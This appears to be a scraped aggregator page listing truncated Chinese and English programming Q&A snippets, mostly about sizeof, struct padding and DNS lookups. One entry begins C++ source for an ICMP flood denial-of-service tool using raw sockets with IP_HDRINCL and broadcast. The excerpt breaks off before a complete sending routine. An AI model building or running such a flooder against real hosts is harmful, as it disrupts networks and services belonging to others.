sizeof

struct hack - zero sized array

╄→尐↘猪︶ㄣ 提交于 2019-12-05 06:21:47
#include <iostream> using namespace std; struct node1{ char b[3]; int c[0]; }; struct node2{ int c[0]; }; struct node3{ char b[3]; }; int main() { cout << sizeof(node1) << endl; // prints 4 cout << sizeof(node2) << endl; // prints 0 cout << sizeof(node3) << endl; // prints 3 } My Question is why does the compiler allocate 0 bytes for int c[0] in node2 but allocate 1 byte for its when part of node1. I'm assuming that this 1 byte is the reason why sizeof(node1) returns 4 since without it (like in node3) its size is 3 or is that due to padding?? Also trying to understand that shouldn't node2 have

VC.DNS解析(winsock)

痞子三分冷 提交于 2019-12-05 04:29:13
1、尝试了 gethostbyname(...) 和 Qt598中的qhostinfo::fromname(...),都可以解析出来IP,但是有一个问题:域名指向的IP改变了,这两种方式需要等较长时间 才会解析到更新后的ip地址。而CMD中 nslookup却一下子就解析到了更新后的IP...  1.1、查了一下资料,貌似原因如下(大概的说下原理,可能不严谨准确):   (1)域名服务器在 域名的TTL时间段内 它不会去实时的查找域名对应的IP,而是要等到TTL超时 域名服务器才回去再次查询 然后更新新的地址。   (2)又∵ gethostbyname 和 qhostinfo::fromname 都没有参数可以输入 DNS服务器地址,猜测可能使用的是 OS中设置的DNS服务器。   ZC:综上2个原因 造成了这个现象   ZC:改 OS的DNS设置的话,如果 这个DNS服务器不是 常用上网的DNS服务器的话,到时候还要改回来,比较麻烦,暂不考虑使用  1.2、于是猜测,指定 DNS解析服务器的话,就能解决这个现象 2、C++实现DNS域名解析 - Snser - 博客园.html( https://www.cnblogs.com/snser/p/4101729.html )   ZC:DNS解析的 数据包结构、原理、代码 都在这个文章中查看   ZC:

DOS攻击——ICMP报文洪水攻击

为君一笑 提交于 2019-12-05 03:13:11
代码 flooder.h #pragma once #include <iostream> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <linux/types.h> #include <string.h> #include <unistd.h> #include <pthread.h> __u32 share_dst_ip; __s32 share_pk_size; __s8 *share_pk; void *floodFunction(void *data) { __s32 sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!sock) { return 0; } int val = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) == -1) { close(sock); return 0; } if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val)

Checking the sizeof an integer type in the preprocessor

笑着哭i 提交于 2019-12-05 01:11:01
How can I check the size of an unsigned in the preprocessor under g++? sizeof is out of the question since it is not defined when during preprocessing. This may not be the most elegant method, but one thing that you may be able to leverage is UINT_MAX defined in "limits.h". That is, ... if UINT_MAX == 65535, then you would know that sizeof (unsigned) = 2 if UINT_MAX == 4294967295, then you would know that sizeof (unsigned) = 4. and so on. As I said, not elegant, but it should provide some level of usability. Hope this helps. Based on Sparky's answer, here is a way that would look a bit nicer

What is the size of a Nullable<Int32>?

穿精又带淫゛_ 提交于 2019-12-05 01:02:42
So, a couple of questions, actually: An int ( Int32 ) is specified to be (obviously) 32 bits. What about an int? ( Nullable<int> )? My gut tells me that it would be 32 bits for the integer plus 8 more bits for the boolean, but perhaps the implementation is more intricate than that. I would have answered my own question using sizeof(int?) ; but as int? is a managed type this is not allowed. I understand that the size of a type may be platform-dependent, and that in the case of objects which contain references to other objects, a sizeof -like operation would be misleading. However, is there a

difference between sizeof('a') and sizeof(“a”)

十年热恋 提交于 2019-12-05 00:43:56
问题 My question is about the sizeof operator in C. sizeof('a'); equals 4 , as it will take 'a' as an integer: 97. sizeof("a"); equals 2 : why? Also (int)("a") will give some garbage value. Why? 回答1: 'a' is a character constant - of type int in standard C - and represents a single character . "a" is a different sort of thing: it's a string literal , and is actually made up of two characters: a and a terminating null character. A string literal is an array of char , with enough space to hold each

sizeof运算符和strlen()函数

一世执手 提交于 2019-12-05 00:38:59
首先放上代码和运行结果。(在VC6.0上运行) 1 #include<stdio.h> 2 #include<string.h> 3 4 int main(void) 5 { 6 char s1[]="YeHuan"; 7 char *s2="YeHuan"; 8 char s3[]="Ye\0Huan"; 9 char *s4="Ye\0Huan"; 10 printf("sizeof(s1) %d\n",sizeof(s1)); 11 printf("sizeof(s2) %d\n",sizeof(s2)); 12 printf("sizeof(s3) %d\n",sizeof(s3)); 13 printf("sizeof(s4) %d\n",sizeof(s4)); 14 printf("sizeof(\"YeHuan\") %d\n",sizeof("YeHuan")); 15 printf("sizeof(\"Ye\\0Huan\") %d\n",sizeof("Ye\0Huan")); 16 printf("strlen(s1) %d\n",strlen(s1)); 17 printf("strlen(s2) %d\n",strlen(s2)); 18 printf("strlen(s3) %d\n",strlen(s3)); 19 printf("strlen(s4

Sword 哈希表

守給你的承諾、 提交于 2019-12-05 00:38:06
哈希表 哈希表是一种典型的以空间换取时间的数据结构,在没有冲突的情况下,对任意元素的插入、索引、删除的时间复杂度都是O(1)。这样优秀的时间复杂度是通过将元素的key值以hash方法f映射到哈希表中的某一个位置来访问记录来实现的,即键值为key的元素必定存储在哈希表中的f(key)的位置。当然,不同的元素的hash值可能相同,这就是hash冲突,有两种解决方法(分离链表发和开放地址发),ngx采用的是开放地址法. 分离链表法是通过将冲突的元素链接在一个哈希表外的一个链表中,这样,找到hash表中的位置后,就可以通过遍历这个单链表来找到这个元素 开放地址法是插入的时候发现自己的位置f(key)已经被占了,就向后遍历,查看f(key)+1的位置是否被占用,如果没被占用,就占用它,否则继续相后,查询的时候,同样也如果f(key)不是需要的值,也依次向后遍历,一直找到需要的元素。 哈希表的本质 普通哈希表的查找比较简单,思想就是先根据hash值找到对应桶,然后遍历这个桶的每一个元素,逐字匹配是否关键字完全相同,完全相同则找到,否则继续,直至找到这个桶的结尾(value = NULL)。 nginx的hash表是固定元素长度的,就是一开始已知所有的键值对。无法动态添加,但是可以修改值 gtc_hash_t * gtc_internal_hash_build(unsigned int max

结构体对齐详解【转】

走远了吗. 提交于 2019-12-05 00:26:45
转自: https://www.cnblogs.com/motadou/archive/2009/01/17/1558438.html 1 -- 结构体数据成员对齐的意义 许多实际的计算机系统对基本类型数据在内存中存放的位置有限制,它们会要求这些数据的起始地址的值是某个数k的倍数,这就是所谓的内存对齐,而这个k则被称为该数据类型的对齐模数(alignment modulus)。这种强制的要求一来简化了处理器与内存之间传输系统的设计,二来可以提升读取数据的速度。 比如这么一种处理器,它每次读写内存的时候都从某个8倍数的地址开始,一次读出或写入8个字节的数据,假如软件能保证double类型的数据都从8倍数地址开始,那么读或写一个double类型数据就只需要一次内存操作。否则,我们就可能需要两次内存操作才能完成这个动作,因为数据或许恰好横跨在两个符合对齐要求的8字节内存块上。 2 -- 结构体对齐包括两个方面的含义 1)结构体总长度; 2)结构体内各数据成员的内存对齐,即该数据成员相对结构体的起始位置; 3 -- 结构体大小的计算方法和步骤 1)将结构体内所有数据成员的长度值相加,记为sum_a; 2)将各数据成员为了内存对齐,按各自对齐模数而填充的字节数累加到和sum_a上,记为sum_b。对齐模数是#pragma pack指定的数值以及该数据成员自身长度中数值较小者

Do I have the guarantee that sizeof(type) == sizeof(unsigned type)?

試著忘記壹切 提交于 2019-12-04 23:49:36
The sizeof char, int, long double... can vary from one compiler to another. But do I have the guarantee according to the C++11 or C11 standard that the size of any signed and unsigned fundamental integral type is the same ? The C++11 Standard says about integer types: (§3.9.1/3) For each of the standard signed integer types, there exists a corresponding (but different) standard unsigned integer type: “unsigned char”, “unsigned short int”, “unsigned int”, “unsigned long int”, and “unsigned long long int”, each of which occupies the same amount of storage and has the same alignment requirements